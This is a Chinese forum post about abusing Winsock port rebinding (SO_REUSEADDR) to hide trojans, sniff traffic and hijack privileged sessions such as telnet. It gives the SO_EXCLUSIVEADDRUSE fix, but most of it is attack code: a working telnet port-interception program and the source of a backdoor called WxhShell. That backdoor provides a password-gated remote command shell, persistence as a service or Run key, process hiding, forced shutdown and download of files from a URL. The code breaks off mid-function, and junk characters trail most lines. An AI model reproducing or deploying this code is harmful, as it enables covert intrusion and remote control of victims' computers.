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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {`VQL6(i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y2Bu,/9^  
I8y\D,  
  saddr.sin_family = AF_INET; \GWC5R7Q0j  
+\4=G@P.J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); DcS~@ ;  
6%TV X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ''G @n*  
X`&E,;bIb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2;/hFwm  
4y 'REC  
  这意味着什么?意味着可以进行如下的攻击: ":OXs9Yg  
m`Z4#_s2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <3HJkcYGz  
A.n1|Q#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RW 5T}  
Liofv4![  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 945psG@|  
qp Z ".  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5gGr|d|(  
sMZ \6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &PbH!]yd  
FE`J.aw^X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XZhhr1-<a  
uJQeZEe  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HO"(eDW6z  
>|<6s],v  
  #include J{H475GqiT  
  #include }U9e#>e x  
  #include a`}-^;}SW  
  #include    !T}`h'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7r>^_aW  
  int main() pxgv(:Tw  
  { ;k>{I8L~  
  WORD wVersionRequested; 4_$f "6  
  DWORD ret; AWw:N6\  
  WSADATA wsaData; &f[[@EF7  
  BOOL val; yDPek*#^"q  
  SOCKADDR_IN saddr; /)~M cP3  
  SOCKADDR_IN scaddr; bz1\EkLL  
  int err; @_;6 L  
  SOCKET s; uaiG (O   
  SOCKET sc; PqfH}d0l  
  int caddsize; pcE.  
  HANDLE mt; gbvBgOp  
  DWORD tid;   t^q/'9Ai&J  
  wVersionRequested = MAKEWORD( 2, 2 ); il: ""x7^y  
  err = WSAStartup( wVersionRequested, &wsaData ); N3,EF1%  
  if ( err != 0 ) { l! GPOmf9`  
  printf("error!WSAStartup failed!\n"); &kP>qTI^p~  
  return -1;  M`bK   
  } kHJjdgV  
  saddr.sin_family = AF_INET; GE>&fG  
   uy$o%NL-7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _$r+*nGDz  
d< y B ~Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nv|&|6?`oK  
  saddr.sin_port = htons(23); $lvpBs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~`y6YIJ3  
  { W_?S^>?l/  
  printf("error!socket failed!\n"); 0'gJSrgNI  
  return -1; JWLQ9U X  
  } ;(z0r_p<q  
  val = TRUE; c Mq|`CM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 iKu5K0x{>I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {L#Pdj{  
  { L;Nm"[ `  
  printf("error!setsockopt failed!\n"); C3|M\[*fp  
  return -1; x k#/J]j  
  } kc}e},k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; VP[ J#TPU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4]Krx m`8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C@xh$(y  
)F:hv[iv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) TtHqdKL  
  { K1Uur>Pk%  
  ret=GetLastError(); 1g *4e  
  printf("error!bind failed!\n"); J 9z\ qTI  
  return -1; 0 ~VniF^  
  } ^*Sb)tu\ W  
  listen(s,2); 0 j6/H?OT  
  while(1) ^X^4R1V)  
  { zT.qNtU%  
  caddsize = sizeof(scaddr); U`xjau+  
  //接受连接请求 w9vqFtj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [-Dx)N  
  if(sc!=INVALID_SOCKET) $cc]pJy"}  
  { QHK$2xtq|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y:xZ(RgfF  
  if(mt==NULL) B&cC;Hw  
  { r.[9/'>  
  printf("Thread Creat Failed!\n"); O>UR\l|+:2  
  break; fF ;-d2mF  
  } Ok9XC <Xu  
  } ;as B@Q  
  CloseHandle(mt); WUKYwA/t  
  } ri6_u;Ch  
  closesocket(s); {@k5e) Q  
  WSACleanup(); K"eW.$  
  return 0; QD<f) JZK  
  }   /mmC qP  
  DWORD WINAPI ClientThread(LPVOID lpParam) |[8&5[);  
  { "Q ^Ck7  
  SOCKET ss = (SOCKET)lpParam; :dK/}S0  
  SOCKET sc; p"w"/[8  
  unsigned char buf[4096]; Tw=Jc 's  
  SOCKADDR_IN saddr; P/4]x@{ih  
  long num; [*@"[u   
  DWORD val; OT+LQ TE  
  DWORD ret; :2}zovsdj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o@vo,JU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tv5G']vO\  
  saddr.sin_family = AF_INET; }Dm-Ibdg(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aH*)W'N?  
  saddr.sin_port = htons(23); 6Wl+5 a6V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PE0A`  
  { (]1n!  
  printf("error!socket failed!\n"); Ovh[qm?Z  
  return -1; \IIR2Xf,K  
  } I!~5.  
  val = 100; k68\ _NUL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x8w455  
  { CM_FF:<tn  
  ret = GetLastError(); ;mu^WIj  
  return -1; ^ 14U]<  
  } o/ ozX4C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,!Gw40t  
  { abp]qvCV  
  ret = GetLastError(); GG-7YJ  
  return -1; Ru `&>E  
  } >:WnCkbp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ycTX\.KV  
  { > X<pzD3u  
  printf("error!socket connect failed!\n"); rLtB^?A z  
  closesocket(sc); wknX\,`Q  
  closesocket(ss); S{&,I2aO  
  return -1; `{#0C-  
  } zuwlVn  
  while(1) vvwNJyU-  
  { )%I2#Q"Nt-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [LbUlNq^B@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  \9N1:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z_Qs^e$  
  num = recv(ss,buf,4096,0); ,3=|a|p  
  if(num>0) },lHa!<^  
  send(sc,buf,num,0); 8>%:MS"  
  else if(num==0) :Xq qhG  
  break; W1fEUVj  
  num = recv(sc,buf,4096,0); @@M 2s(  
  if(num>0) JHC 6l  
  send(ss,buf,num,0); 7.`Fe g.  
  else if(num==0) kr[p4X4  
  break; .5 Sw  
  } tNj-~r  
  closesocket(ss); -{n2^vvF  
  closesocket(sc); ge %ytrst  
  return 0 ; /}t>o* x  
  } *mwHuGbZed  
d e)7_pCF|  
K Rs e  
========================================================== 4>x]v!d  
>]s\%GO  
下边附上一个代码,,WXhSHELL noJ5h |  
|*W_  
========================================================== l+`f\},  
Z]OXitt7  
#include "stdafx.h" 1j"_@?H[  
&3~lZa;D  
#include <stdio.h> CobMagPhr  
#include <string.h> cAnL,?_v  
#include <windows.h> Q$u&/g3NvL  
#include <winsock2.h> mCah{~  
#include <winsvc.h> n@>h"(@i  
#include <urlmon.h> 5P'o+Vwz  
q% *-4GP  
#pragma comment (lib, "Ws2_32.lib") Vz_ac vfk^  
#pragma comment (lib, "urlmon.lib") b|jdYJbol&  
IsP-[0it  
#define MAX_USER   100 // 最大客户端连接数 J8IdQ:4^l  
#define BUF_SOCK   200 // sock buffer HmlE Cx  
#define KEY_BUFF   255 // 输入 buffer =A[:]),v  
ts|dk%  
#define REBOOT     0   // 重启 `TwDR6&  
#define SHUTDOWN   1   // 关机 YD>5zV%!D  
3h N?l :/b  
#define DEF_PORT   5000 // 监听端口 b/;!yOF  
:buH\LB*P  
#define REG_LEN     16   // 注册表键长度 uzG{jc^  
#define SVC_LEN     80   // NT服务名长度  KT'Ebb]  
K=lm9K  
// 从dll定义API V;}kgWc1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vfBIQfH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F9h'.{@d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J5Pi"U$FkY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &ed&2t`Y  
FVY$A =G  
// wxhshell配置信息 w(/#isC  
struct WSCFG { CVxqNR*DN  
  int ws_port;         // 监听端口 - QPM$  
  char ws_passstr[REG_LEN]; // 口令 DpA"5RV  
  int ws_autoins;       // 安装标记, 1=yes 0=no }7Lo}}  
  char ws_regname[REG_LEN]; // 注册表键名 d6RO2^  
  char ws_svcname[REG_LEN]; // 服务名 n`v;S>aT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a* 2*aH7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  j`H5S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e *9c33  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *49({TD6`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {9mXJu$cc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MC\rx=cR\  
m 0jm$> :Z  
}; ''. P=  
[te9ui%JS  
// default Wxhshell configuration CB!5>k+mC  
struct WSCFG wscfg={DEF_PORT, H|UGR ~&  
    "xuhuanlingzhe", 7c.96FA  
    1, Jeb"t1.$  
    "Wxhshell", HV0!G-h  
    "Wxhshell", &>%R)?SZh  
            "WxhShell Service", nrFuhW\r  
    "Wrsky Windows CmdShell Service", s<#["K*_  
    "Please Input Your Password: ", x{'3eJ^8  
  1, BeR7LV  
  "http://www.wrsky.com/wxhshell.exe", nf%"7y{dd  
  "Wxhshell.exe" dio<?6ZD9P  
    }; m%$GiNs}  
0;J#".(KQ  
// 消息定义模块 {:@MBA 34  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;pH&YBY  
char *msg_ws_prompt="\n\r? for help\n\r#>";  iwiHw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ` @PHV  
char *msg_ws_ext="\n\rExit."; 4k7 LM]  
char *msg_ws_end="\n\rQuit."; fS@V`"O6  
char *msg_ws_boot="\n\rReboot..."; owR`Z`^h)  
char *msg_ws_poff="\n\rShutdown...";  H8lh.K  
char *msg_ws_down="\n\rSave to "; T{A 5,85  
W'98ues%  
char *msg_ws_err="\n\rErr!"; |$>ZGs#  
char *msg_ws_ok="\n\rOK!"; o x|K2A  
`S)*(s?T  
char ExeFile[MAX_PATH]; s8O.yL  
int nUser = 0; (Ci{fY6`  
HANDLE handles[MAX_USER]; J`I^F:y*  
int OsIsNt; !Py SYY  
LvM;ZfAEv  
SERVICE_STATUS       serviceStatus; ;~^9$Z@%Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BI|BfO%F$j  
1K&_t  
// 函数声明 dGc<{sQzB  
int Install(void); nuvRjd^N  
int Uninstall(void); j Z6]G{  
int DownloadFile(char *sURL, SOCKET wsh); +KcD Y1[  
int Boot(int flag); {.HFB:<!}  
void HideProc(void); - WEEnwZ  
int GetOsVer(void); ]QqT.z%B  
int Wxhshell(SOCKET wsl); __mnz``/Y  
void TalkWithClient(void *cs); dRhsnT+KX  
int CmdShell(SOCKET sock); j]6c_r3  
int StartFromService(void); -O~ V4004  
int StartWxhshell(LPSTR lpCmdLine); :6T 8\W  
AcoU.tpP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  0m&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |Q|vCWel{  
K|a^<| S  
// 数据结构和表定义 ;:`0:Ao.  
SERVICE_TABLE_ENTRY DispatchTable[] = 4tGP- L  
{ 6he (v  
{wscfg.ws_svcname, NTServiceMain}, G+k~k/D6  
{NULL, NULL} 1s"/R  
}; :nLhg$wMs  
Yw!(]8PYdU  
// 自我安装 1woBw>g  
int Install(void) {hRM=f7  
{ 9im<J'  
  char svExeFile[MAX_PATH]; /c4@QbB  
  HKEY key; o6b\ w  
  strcpy(svExeFile,ExeFile); XX9u%BZ~  
o$XJSz|6  
// 如果是win9x系统,修改注册表设为自启动 }#bX{?f  
if(!OsIsNt) { H)5V \  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MJ% gF=$X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {>]7xTpwZ  
  RegCloseKey(key); Shag4-*@hi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j34L*?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3W#f Fy  
  RegCloseKey(key); "Vw;y+F}  
  return 0; lYq/ n&@_1  
    } 13f@Ox$  
  } _?m%i]~o  
} J;R1OJs S  
else { '*d);{D8  
CHGV1X,  
// 如果是NT以上系统,安装为系统服务 :}n\ r/i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 97L|IZ s)  
if (schSCManager!=0) O9/7?"l"  
{ Pkq?tm$#  
  SC_HANDLE schService = CreateService ,x]xtg?  
  ( nyRQ/.3  
  schSCManager, 2cu?2_,  
  wscfg.ws_svcname, H}f} Y8J{  
  wscfg.ws_svcdisp, rL9u7) x  
  SERVICE_ALL_ACCESS, W&'[Xj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HuRq0/"  
  SERVICE_AUTO_START, 4r+s" |  
  SERVICE_ERROR_NORMAL, {wS)M  
  svExeFile, $ KAOJc4<  
  NULL, sSdnH_;&  
  NULL, JsY|Fv  
  NULL, !o{>[  
  NULL, ]A]EED.ZH  
  NULL &?wNL@n  
  ); ] l@Mo7|w  
  if (schService!=0) 'G|M_ e  
  { )^q7s&p/  
  CloseServiceHandle(schService); !7fL'  
  CloseServiceHandle(schSCManager); GyP.;$NHa[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jSKhWxL;'  
  strcat(svExeFile,wscfg.ws_svcname); nS$_VJ]~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { by0@G"AE+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kbcqUE  
  RegCloseKey(key); m R|;}u;d  
  return 0; %j7HIxZh  
    } jVxX! V  
  } lq[o2\  
  CloseServiceHandle(schSCManager); UFOUkS F  
} #@^mA{Dt5  
} m&&Y=2  
6_vhBYLf  
return 1; Rg,]d u u?  
} s ~ Xa=_+D  
xJemc3]2  
// 自我卸载 piPx8jT`F  
int Uninstall(void) ("!P_Q#  
{ Fr{}~fRW<  
  HKEY key; 7{fOo%(7  
KO''B or  
if(!OsIsNt) { J}M_Ka  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G-#]|)  
  RegDeleteValue(key,wscfg.ws_regname); A6faRi703  
  RegCloseKey(key); :rcohzfa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Z:Fnp  
  RegDeleteValue(key,wscfg.ws_regname); ~REP@!\r^  
  RegCloseKey(key);  =o? Q0  
  return 0; mQiVTIP3[O  
  } ~bsL W:.'  
} C A 8N  
}  8-.jf  
else { X) O9PQ  
: l&g5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -z6{!  
if (schSCManager!=0) e4rhB"qQdn  
{ 3{"MN=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K H&o`U(}  
  if (schService!=0) R'e>YDC  
  { "gQA|NHwV  
  if(DeleteService(schService)!=0) { +`_Km5=  
  CloseServiceHandle(schService); C#3K.0a  
  CloseServiceHandle(schSCManager);  >M-ZjT>  
  return 0; :.J]s<J(F  
  } "'zVwU  
  CloseServiceHandle(schService); 0[QVU,]<  
  } rfwX:R6,g  
  CloseServiceHandle(schSCManager); {EL J!o[  
} 2z+-vT%  
} \7elqX`.yY  
fk!P#  
return 1; g$a 5  
} '|~L9t  
YVT\@+C'  
// 从指定url下载文件 %!HBPLk  
int DownloadFile(char *sURL, SOCKET wsh) 4Y!_tZ>  
{ ;G\RGU~  
  HRESULT hr; HgfeSH  
char seps[]= "/"; xmp^`^v*  
char *token; CgxGvM4  
char *file; O\=c&n~`  
char myURL[MAX_PATH]; g*a|QBj%  
char myFILE[MAX_PATH]; 3`3`iN!8\@  
ckCb)r_  
strcpy(myURL,sURL); oe,37xa4  
  token=strtok(myURL,seps); [:xpz,  
  while(token!=NULL) U?W?VEOO!7  
  { @b2JR^  
    file=token; -ZKo/ N>6}  
  token=strtok(NULL,seps); j$Unw  
  } ?V >{3  
;c;5O@R}3  
GetCurrentDirectory(MAX_PATH,myFILE); ouO<un  
strcat(myFILE, "\\"); AC& }8w[>u  
strcat(myFILE, file); FXd><#U  
  send(wsh,myFILE,strlen(myFILE),0); i<>zN^zn  
send(wsh,"...",3,0); p^/6Rb"e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #lo1GoL\  
  if(hr==S_OK) 8H<:?D/tH  
return 0; Zwm2T3@e  
else ~SD8#;v2  
return 1; w>6~ zAh  
klON6<w  
} +\@}IKWl-?  
V3] Z~@  
// 系统电源模块 U) B^R  
int Boot(int flag) a-(OAzQ_  
{ HAOl&\)7"_  
  HANDLE hToken; hnD=DLW $  
  TOKEN_PRIVILEGES tkp; <-avC/M$d  
h|Os T  
  if(OsIsNt) { v5Qp[O_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #G`UR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W]l&mr  
    tkp.PrivilegeCount = 1; :3$$PdZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,MRAEa2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4,.B#: 8  
if(flag==REBOOT) { i{.%4tA4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qe,aIh  
  return 0; 6'YsSde".  
} NKJ+DD:'  
else { IJz=SV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lf?dTPrD  
  return 0; [l%6wIP&{  
} //W7$DYEG  
  } 1GA$nFBVC  
  else { F9\T <  
if(flag==REBOOT) { m.0: R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fO'"UI  
  return 0; PW)Gd +y  
} +`D,7"{Eu  
else { . v L4@_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G$T#ql  
  return 0; /Q*o6G ys0  
} W!.vP~>  
} x.ZW%P1  
$lYy`OuC  
return 1; q o^PS  
} X6`F<H`  
/6@iRswa  
// win9x进程隐藏模块 pZUXXX  
void HideProc(void) gLGu#6YVu  
{ .{}=!>U2  
h:qt?$]J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %hM8px4d  
  if ( hKernel != NULL ) xLp<G(;  
  { -Nn@c|fz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YB&b_On,f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 34e> R?J  
    FreeLibrary(hKernel); Xe:gH.}  
  } n +R3  
P g{/tM Y  
return; A.@/~\  
} g$P<`.  
:e|[gEA  
// 获取操作系统版本 :1/K$A)^{  
int GetOsVer(void) kafRuO~$  
{ d=J$H<  
  OSVERSIONINFO winfo; C[0*>W8o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); byrK``f  
  GetVersionEx(&winfo); rr;p;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VGDds  
  return 1; R<-u`uX nP  
  else pA|Z%aL  
  return 0; fVJsVZ"6v`  
} zVL"$ )  
9f/RD?(1O  
// 客户端句柄模块 U|2*.''+Q  
int Wxhshell(SOCKET wsl) J/ ! Mt  
{ %DqPRl.Gu  
  SOCKET wsh; 1B#Z<p  
  struct sockaddr_in client; -hjGPu  
  DWORD myID; RqnT*  
p#fd+  
  while(nUser<MAX_USER) Kx[u9MD  
{ 93+p~?  
  int nSize=sizeof(client); ;3 |Z}P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "B 9aJo  
  if(wsh==INVALID_SOCKET) return 1; l{u2W$8  
1+0DTqWz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >^\}"dEvr  
if(handles[nUser]==0) D;RZE  
  closesocket(wsh); aOWfu^&H:  
else ImnN&[Cu  
  nUser++; IC[iCrB  
  } f:)%+)U<Xm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h9J%NH  
Ny oRp  
  return 0; &t0toEj  
} } eL*gy  
_ U%fD|t  
// 关闭 socket :j=/>d],%  
void CloseIt(SOCKET wsh) /`)>W :  
{ 'i5V6yB  
closesocket(wsh); #4Z]/D2G  
nUser--; kCoTz"Z-  
ExitThread(0); N4z(2.  
} %M/rpEE"b%  
-N4km5  
// 客户端请求句柄 luYa+E0  
void TalkWithClient(void *cs) 6n}5>GSF  
{ k%[pZ 5.!  
|` +G7?)Y  
  SOCKET wsh=(SOCKET)cs; U:[#n5g  
  char pwd[SVC_LEN]; Z[&7NJo(  
  char cmd[KEY_BUFF];  ,m^@S  
char chr[1]; e,0y+~  
int i,j; .JG>/+  
l'#P:eW  
  while (nUser < MAX_USER) { {8YNmxF#  
pMfP3G7V  
if(wscfg.ws_passstr) { EP ;TfWc}1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '&<T;V%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ! 4ZszQg  
  //ZeroMemory(pwd,KEY_BUFF); k;AV  'r  
      i=0; Gx.iZOOH/  
  while(i<SVC_LEN) { 9sR?aW^$,/  
mV58&SZT  
  // 设置超时 9)Jc'd|  
  fd_set FdRead; HS% P  
  struct timeval TimeOut; k8~/lE.Wy  
  FD_ZERO(&FdRead); H$j`75#u?-  
  FD_SET(wsh,&FdRead); ) C?emTih  
  TimeOut.tv_sec=8; :gvw5h%  
  TimeOut.tv_usec=0; p` '8M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ND3(oes+;K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /<\B8^yQ  
mnwYv..ePz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LZ"yMnhOf  
  pwd=chr[0]; W%)uKQha  
  if(chr[0]==0xd || chr[0]==0xa) { gp/_# QVWC  
  pwd=0; 8LH"j(H  
  break; kN99(  
  } iHp@R-g  
  i++; ATdK)gG  
    } 0A7 qO1%xw  
I`O)I&KH  
  // 如果是非法用户,关闭 socket ~MOab e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R p!R&U/  
} e!:/enQo  
3O W) %  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y].vll8R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AhjUFz  
r-ldqj  
while(1) { H,F/u&O  
) ag8]   
  ZeroMemory(cmd,KEY_BUFF); iyRB}[y  
.Y?/J,Ch  
      // 自动支持客户端 telnet标准   6@2 S*\&  
  j=0; 2`-yzm  
  while(j<KEY_BUFF) { Xg](V.B6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RnA>oKc  
  cmd[j]=chr[0]; j\ dY  
  if(chr[0]==0xa || chr[0]==0xd) { ,s?7EHtC  
  cmd[j]=0; LHt{y3l]  
  break; D9#?l <D  
  } u)DhkF|  
  j++; 0S{dnp  
    } fCA/   
Or0eY#c  
  // 下载文件 kg>Ymo.  
  if(strstr(cmd,"http://")) { ?Q~6\xA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bhy:" r%#  
  if(DownloadFile(cmd,wsh)) NbD"O8dL~E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X>n\@rTo  
  else &*}NN5Sv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]m#.MZe  
  } F^ m`j6  
  else { Al^n&Aa+\  
7VF^&6  
    switch(cmd[0]) { \~(ww3e  
  {|}tp<:2  
  // 帮助 _d8k[HAJ|  
  case '?': { iXN7+QO)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :J3ZTyjb  
    break; x4PH-f-7  
  } n\nC.|_G@  
  // 安装 "%c\i-&t  
  case 'i': { k~(j   
    if(Install()) I[~EQ {Iz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b6IYo!3  
    else *cdr,AD?lH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); He)<S?X-6  
    break; Wdt9k.hzN  
    } "d a%@Zy  
  // 卸载 `ym@ U(;N  
  case 'r': { T K)Kq  
    if(Uninstall()) iY=M67V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lWv3c!E`  
    else _]"5]c&*3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w1J&c'-  
    break; wff&ci28  
    } $B6"fYiDk  
  // 显示 wxhshell 所在路径 k,L,  
  case 'p': { uC3o@qGW<  
    char svExeFile[MAX_PATH]; \dyJ=tg  
    strcpy(svExeFile,"\n\r"); _E e`Uk  
      strcat(svExeFile,ExeFile); n7 RswX  
        send(wsh,svExeFile,strlen(svExeFile),0); `?P k~7  
    break; Y$%/H"1bk  
    } Wgl7)Xk.)  
  // 重启 `<Z5/;a5W  
  case 'b': { #clPao?r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xw*T? !r=V  
    if(Boot(REBOOT)) G>?hojvi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FhgO5@BO  
    else { x1m J&D  
    closesocket(wsh); 8&6h()  
    ExitThread(0); S~\i"A)4  
    } 360V  
    break; O a_2J#~$  
    } >EFjyhVE  
  // 关机 z6)SaSYE  
  case 'd': { &qki NS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z!TLWX "  
    if(Boot(SHUTDOWN)) Q 'R@'W9  
